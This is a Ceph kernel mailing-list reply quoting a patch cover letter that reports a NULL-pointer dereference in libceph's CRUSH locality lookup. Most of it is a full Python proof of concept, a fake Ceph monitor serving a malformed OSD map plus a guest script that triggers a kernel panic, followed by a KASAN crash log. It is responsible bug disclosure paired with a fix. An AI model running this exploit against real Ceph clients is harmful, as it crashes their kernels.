Re: [PATCH ceph 0/1] libceph: osdmap: missing CRUSH type name can crash locality lookup
Viacheslav Dubeyko <[email protected]>
| Newsgroups | org.kernel.vger.ceph-devel |
|---|---|
| Message-ID | <[email protected]> |
CC: [email protected] On Fri, 2026-06-19 at 15:40 +0800, Ren Wei wrote: > From: Zhao Zhang <[email protected]> > > Hi Linux kernel maintainers, > > We found an issue in net/ceph/osdmap.c. > The bug is reachable by a root user able to mount Ceph and read Ceph > debugfs state. > The relevant details are provided below. > > ---- details below ---- > > Bug details: > > The bug is in the CRUSH locality walk in `get_immediate_parent()`. > That function validates that a parent bucket has a valid entry in > `c->names`, but it does not validate the corresponding lookup in > `c->type_names`. > > If a malformed OSD map contains a bucket whose name exists in > `c->names` but whose bucket type has no entry in `c->type_names`, > `lookup_crush_name(&c->type_names, b->type)` returns `NULL`. > `get_immediate_parent()` then dereferences `type_cn->cn_name` and > stores an invalid pointer in `parent_loc->cl_type_name`. > > That invalid pointer is later passed to `strcmp()` from > `ceph_get_crush_locality()`, which can crash while serving callers > such as the Ceph debugfs `osdmap` dump. With KASAN, this shows up as > a null-ptr-deref in `strcmp()` and the guest panics. > > Reproducer: > > python3 -m py_compile mini_poc > chmod +x mini_poc > SSH_PORT=10022 > ./mini_poc --ssh-port "$SSH_PORT" > > > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. > > ------BEGIN PoC------ > > #!/usr/bin/env python3 > import argparse > import os > import select > import socket > import struct > import subprocess > import sys > import threading > import time > > > TAG_READY = 1 > TAG_MSG = 7 > TAG_ACK = 8 > TAG_KEEPALIVE = 9 > TAG_KEEPALIVE2 = 14 > TAG_KEEPALIVE2_ACK = 15 > TAG_CLOSE = 6 > > MSG_MON_MAP = 4 > MSG_MON_SUBSCRIBE = 15 > MSG_MON_SUBSCRIBE_ACK = 16 > MSG_AUTH = 17 > MSG_AUTH_REPLY = 18 > MSG_OSD_MAP = 41 > > CEPH_AUTH_NONE = 1 > CEPH_FEATURE_MSG_AUTH = 1 << 23 > SERVER_FEATURES = 0x2F018FB87AA4AAFE > > CEPH_ENTITY_TYPE_MON = 1 > CEPH_MSG_PRIO_DEFAULT = 127 > > CRUSH_MAGIC = 0x00010000 > CRUSH_BUCKET_UNIFORM = 1 > CRUSH_HASH_DEFAULT = 0 > > HDR_FMT = "<QQHHHIIIHBQHHI" > HDR_LEN = struct.calcsize(HDR_FMT) > > CRC_TABLE = [] > for i in range(256): > c = i > for _ in range(8): > c = (c >> 1) ^ 0x82F63B78 if c & 1 else c >> 1 > CRC_TABLE.append(c & 0xFFFFFFFF) > > > def crc32c(data: bytes, seed: int = 0) -> int: > c = seed & 0xFFFFFFFF > for b in data: > c = CRC_TABLE[(c ^ b) & 0xFF] ^ (c >> 8) > return c & 0xFFFFFFFF > > > def recv_exact(sock: socket.socket, n: int) -> bytes: > out = bytearray() > while len(out) < n: > chunk = sock.recv(n - len(out)) > if not chunk: > raise EOFError("peer closed") > out += chunk > return bytes(out) > > > def le16(v: int) -> bytes: > return struct.pack("<H", v & 0xFFFF) > > > def le32(v: int) -> bytes: > return struct.pack("<I", v & 0xFFFFFFFF) > > > def le64(v: int) -> bytes: > return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF) > > > def enc_string(s: bytes) -> bytes: > return le32(len(s)) + s > > > def start_block(version: int, compat: int, payload: bytes) -> bytes: > return struct.pack("<BBI", version, compat, len(payload)) + > payload > > > def sockaddr_in_storage(ip: str, port: int, family_endian: str) -> > bytes: > family = struct.pack("!H" if family_endian == "big" else "<H", > socket.AF_INET) > rest = struct.pack("!H", port) + socket.inet_aton(ip) + (b"\x00" > * 8) > return family + rest + (b"\x00" * (128 - 16)) > > > def encode_banner_addr(ip: str, port: int, nonce: int) -> bytes: > return le32(0) + le32(nonce) + sockaddr_in_storage(ip, port, > "big") > > > def pack_entity_addr(ip: str, port: int, nonce: int = 0, addr_type: > int = 1) -> bytes: > sockaddr = sockaddr_in_storage(ip, port, "little")[:16] > payload = le32(addr_type) + le32(nonce) + le32(len(sockaddr)) + > sockaddr > return b"\x01" + start_block(1, 1, payload) > > > def build_monmap(fsid: bytes, host_ip: str, mon_port: int) -> bytes: > feat = start_block(1, 1, b"") > mon_info = enc_string(b"a") + (b"\x02" + le32(1) + > pack_entity_addr(host_ip, mon_port)) > mon_info = start_block(1, 1, mon_info) > > body = bytearray() > body += fsid > body += le32(1) > body += le32(0) + le32(0) > body += le32(0) + le32(0) > body += feat > body += feat > body += le32(1) > body += enc_string(b"a") > body += mon_info > blob = start_block(6, 6, bytes(body)) > return le32(len(blob)) + blob > > > def build_malicious_crush() -> bytes: > payload = bytearray() > payload += le32(CRUSH_MAGIC) > payload += le32(1) > payload += le32(0) > payload += le32(1) > payload += le32(CRUSH_BUCKET_UNIFORM) > payload += le32(0xFFFFFFFF) > payload += le16(1) > payload += struct.pack("<B", CRUSH_BUCKET_UNIFORM) > payload += struct.pack("<B", CRUSH_HASH_DEFAULT) > payload += le32(0x10000) > payload += le32(1) > payload += le32(0) > payload += le32(0x10000) > payload += le32(0) > payload += le32(1) > payload += le32(0xFFFFFFFF) > payload += le32(5) > payload += b"hostA" > payload += le32(0) > payload += le32(0) > payload += le32(0) > payload += le32(0) > payload += le32(0) > payload += struct.pack("<B", 0) > payload += struct.pack("<B", 0) > payload += le32(0) > payload += struct.pack("<B", 0) > return bytes(payload) > > > def build_full_osdmap(fsid: bytes, host_ip: str, osd_port: int) -> > bytes: > crush = build_malicious_crush() > body = bytearray() > body += fsid > body += le32(1) > body += le32(0) + le32(0) > body += le32(0) + le32(0) > body += le32(0) > body += le32(0) > body += le32(0) > body += le32(0) > body += le32(1) > body += le32(1) > body += struct.pack("<B", 3) > body += le32(1) > body += le32(0x10000) > body += le32(1) > body += pack_entity_addr(host_ip, osd_port) > body += le32(0) > body += le32(len(crush)) > body += crush > return start_block(7, 7, start_block(0, 1, bytes(body))) > > > def build_osdmap_msg(fsid: bytes, host_ip: str, osd_port: int) -> > bytes: > full = build_full_osdmap(fsid, host_ip, osd_port) > payload = bytearray() > payload += fsid > payload += le32(0) > payload += le32(1) > payload += le32(1) > payload += le32(len(full)) > payload += full > return bytes(payload) > > > def build_auth_reply(global_id: int) -> bytes: > return le32(CEPH_AUTH_NONE) + struct.pack("<i", 0) + > le64(global_id) + le32(0) + le32(0) > > > def build_subscribe_ack(fsid: bytes) -> bytes: > return le32(60) + fsid > > > def build_header(seq: int, msg_type: int, front_len: int, *, tid: int > = 0) -> bytes: > hdr_wo_crc = struct.pack( > "<QQHHHIIIHBQHH", > seq, > tid, > msg_type, > CEPH_MSG_PRIO_DEFAULT, > 1, > front_len, > 0, > 0, > 0, > CEPH_ENTITY_TYPE_MON, > 0, > 1, > 0, > ) > return hdr_wo_crc + le32(crc32c(hdr_wo_crc)) > > > def build_footer(front: bytes, msg_auth: bool) -> bytes: > if msg_auth: > return struct.pack("<IIIQb", crc32c(front), 0, 0, 0, 1) > return struct.pack("<IIIb", crc32c(front), 0, 0, 1) > > > def send_msg(sock: socket.socket, seq: int, msg_type: int, front: > bytes, msg_auth: bool, tid: int = 0) -> None: > pkt = bytes([TAG_MSG]) + build_header(seq, msg_type, len(front), > tid=tid) + front + build_footer(front, msg_auth) > sock.sendall(pkt) > > > def recv_tagged_msg(sock: socket.socket, msg_auth: bool): > tag = recv_exact(sock, 1)[0] > if tag == TAG_MSG: > hdr = recv_exact(sock, HDR_LEN) > vals = struct.unpack(HDR_FMT, hdr) > seq, tid, mtype, _prio, _ver, flen, mlen, dlen, _doff, > _stype, _snum, _compat, _reserved, _hcrc = vals > front = recv_exact(sock, flen) if flen else b"" > if mlen: > recv_exact(sock, mlen) > if dlen: > recv_exact(sock, dlen) > recv_exact(sock, 21 if msg_auth else 13) > return tag, seq, tid, mtype, front > if tag == TAG_ACK: > recv_exact(sock, 8) > return tag, None, None, None, b"" > if tag == TAG_KEEPALIVE: > return tag, None, None, None, b"" > if tag == TAG_KEEPALIVE2: > stamp = recv_exact(sock, 8) > sock.sendall(bytes([TAG_KEEPALIVE2_ACK]) + stamp) > return tag, None, None, None, b"" > if tag == TAG_CLOSE: > return tag, None, None, None, b"" > raise RuntimeError(f"unexpected tag {tag}") > > > def do_v1_server_handshake(sock: socket.socket, server_ip: str, > server_port: int): > banner = recv_exact(sock, 145) > client_nonce = struct.unpack_from("<I", banner, len(b"ceph v027") > + 4)[0] > peer_ip, peer_port = sock.getpeername() > reply_banner = b"ceph v027" + encode_banner_addr(server_ip, > server_port, 0) + encode_banner_addr(peer_ip, peer_port, > client_nonce) > sock.sendall(reply_banner) > > con = recv_exact(sock, 33) > features, _host_type, global_seq, connect_seq, proto, > _auth_proto, auth_len, _flags = struct.unpack("<QIIIIIIb", con) > if auth_len: > recv_exact(sock, auth_len) > > sock.sendall(struct.pack("<BQIIIIB", TAG_READY, SERVER_FEATURES, > global_seq, connect_seq, proto, 0, 0)) > return bool(features & CEPH_FEATURE_MSG_AUTH) > > > class FakeMon: > def __init__(self, host_ip: str, mon_port: int, osd_port: int, > runtime: int): > self.host_ip = host_ip > self.mon_port = mon_port > self.osd_port = osd_port > self.runtime = runtime > self.fsid = bytes.fromhex("11111111222233334444555555555555") > self.stop_evt = threading.Event() > self.ready_evt = threading.Event() > self.deadline = 0.0 > > def stop(self) -> None: > self.stop_evt.set() > > def expired(self) -> bool: > return self.stop_evt.is_set() or time.time() >= self.deadline > > def handle_client(self, conn: socket.socket, addr) -> None: > global_id = (addr[1] & 0xFFFFFFFF) | 0x10000 > try: > conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, > 1) > conn.settimeout(0.5) > msg_auth = do_v1_server_handshake(conn, self.host_ip, > self.mon_port) > out_seq = 1 > sent_maps = False > while not self.expired(): > ready, _, _ = select.select([conn], [], [], 0.2) > if not ready: > continue > tag, seq, tid, mtype, _front = recv_tagged_msg(conn, > msg_auth) > if tag in (TAG_ACK, TAG_KEEPALIVE, TAG_KEEPALIVE2): > continue > if tag != TAG_MSG: > return > if mtype == MSG_AUTH: > send_msg(conn, out_seq, MSG_AUTH_REPLY, > build_auth_reply(global_id), msg_auth) > out_seq += 1 > if not sent_maps: > send_msg(conn, out_seq, MSG_MON_MAP, > build_monmap(self.fsid, self.host_ip, self.mon_port), msg_auth) > out_seq += 1 > send_msg(conn, out_seq, MSG_OSD_MAP, > build_osdmap_msg(self.fsid, self.host_ip, self.osd_port), msg_auth) > out_seq += 1 > sent_maps = True > elif mtype == MSG_MON_SUBSCRIBE: > send_msg(conn, out_seq, MSG_MON_SUBSCRIBE_ACK, > build_subscribe_ack(self.fsid), msg_auth) > out_seq += 1 > except Exception: > pass > finally: > try: > conn.close() > except OSError: > pass > > def run(self) -> int: > self.deadline = time.time() + self.runtime > with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as > srv: > srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) > srv.bind(("0.0.0.0", self.mon_port)) > srv.listen(8) > srv.settimeout(0.5) > self.ready_evt.set() > while not self.expired(): > try: > conn, addr = srv.accept() > except socket.timeout: > continue > threading.Thread(target=self.handle_client, > args=(conn, addr), daemon=True).start() > return 0 > > > def ssh_run(ssh_port: int, ssh_key: str, command: str, timeout: int) > -> subprocess.CompletedProcess: > return subprocess.run( > [ > "ssh", > "-i", > ssh_key, > "-o", > "StrictHostKeyChecking=no", > "-o", > "UserKnownHostsFile=/dev/null", > "-p", > str(ssh_port), > "root@localhost", > "sh -s", > ], > input=command, > text=True, > capture_output=True, > timeout=timeout, > ) > > > def trigger_guest(args) -> int: > guest_script = f""" > set -u > mountpoint -q /sys/kernel/debug || mount -t debugfs none > /sys/kernel/debug > sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true > dmesg -C >/dev/null 2>&1 || true > umount -fl /mnt/c3r >/dev/null 2>&1 || true > rm -rf /mnt/c3r > mkdir -p /mnt/c3r > mount -i -t ceph "{args.host_ip}:{args.mon_port}:/" /mnt/c3r \\ > -o > "name=guest,ms_mode=legacy,mount_timeout=4,noshare,crush_location=hos > t:hostA" \\ > >/tmp/mini-poc-mount.log 2>&1 & > for _ in $(seq 1 30); do > p=$(find /sys/kernel/debug/ceph -maxdepth 2 -name osdmap -print - > quit 2>/dev/null || true) > if [ -n "$p" ]; then > cat "$p" >/dev/null > exit 0 > fi > sleep 1 > done > exit 1 > """ > proc = ssh_run(args.ssh_port, args.ssh_key, guest_script, > args.timeout) > if proc.stdout: > sys.stdout.write(proc.stdout) > if proc.stderr: > sys.stderr.write(proc.stderr) > return proc.returncode > > > def main() -> int: > parser = argparse.ArgumentParser() > parser.add_argument("--ssh-port", type=int, required=True) > parser.add_argument("--ssh-key", > default=os.path.expanduser("~/kernel-image/bullseye.id_rsa")) > parser.add_argument("--host-ip", default="10.0.2.2") > parser.add_argument("--mon-port", type=int, default=40404) > parser.add_argument("--osd-port", type=int, default=40405) > parser.add_argument("--runtime", type=int, default=90) > parser.add_argument("--timeout", type=int, default=45) > args = parser.parse_args() > > mon = FakeMon(args.host_ip, args.mon_port, args.osd_port, > args.runtime) > thread = threading.Thread(target=mon.run, daemon=True) > thread.start() > if not mon.ready_evt.wait(timeout=5): > return 1 > > try: > return trigger_guest(args) > finally: > mon.stop() > thread.join(timeout=2) > > > if __name__ == "__main__": > sys.exit(main()) > > > ------END PoC-------- > > ----BEGIN crash log---- > > [ 145.196357][ T8700] Oops: general protection fault, probably for > non-canonical address 0xdffffc0000000003: 0000 [#1] SMP KASAN NOPTI > [ 145.197661][ T8700] KASAN: null-ptr-deref in range > [0x0000000000000018-0x000000000000001f] > [ 145.198562][ T8700] CPU: 1 UID: 0 PID: 8700 Comm: cat Tainted: > G W 7.1.0-rc4-g9fc75b71fdd3 #1 PREEMPT(full) > [ 145.201341][ T8700] RIP: 0010:strcmp+0x39/0xb0 > [ 145.211697][ T8700] Call Trace: > [ 145.212361][ T8700] ceph_get_crush_locality+0x5fd/0x7c0 > [ 145.212954][ T8700] osdmap_show+0x514/0x1110 > [ 145.215736][ T8700] seq_read_iter+0x32f/0x1270 > [ 145.216267][ T8700] seq_read+0x33b/0x4c0 > [ 145.219066][ T8700] full_proxy_read+0x135/0x1a0 > [ 145.219637][ T8700] vfs_read+0x1e4/0xb30 > [ 145.227217][ T8700] ksys_read+0x12a/0x250 > [ 145.230958][ T8700] entry_SYSCALL_64_after_hwframe+0x77/0x7f > [ 145.242009][ T8700] Code: df 41 54 55 53 48 89 fb 48 83 ec 08 eb > 08 40 84 ed 74 61 4c 89 e6 48 89 df 48 83 c3 01 48 89 f8 48 89 fa 48 > c1 e8 03 83 e2 07 <42> 0f b6 04 28 38 d0 7f 04 84 c0 75 58 48 89 f0 > 48 89 f2 0f b6 6b > [ 145.246237][ T8700] RDX: 0000000000000004 RSI: ffff888032deb868 > RDI: 000000000000001c > [ 145.254066][ T8700] Kernel panic - not syncing: Fatal exception > > > -----END crash log----- > > Best regards, > Zhao Zhang > > > Zhao Zhang (1): > libceph: osdmap: guard missing CRUSH type name lookup > > net/ceph/osdmap.c | 5 ++++- > 1 file changed, 4 insertions(+), 1 deletion(-)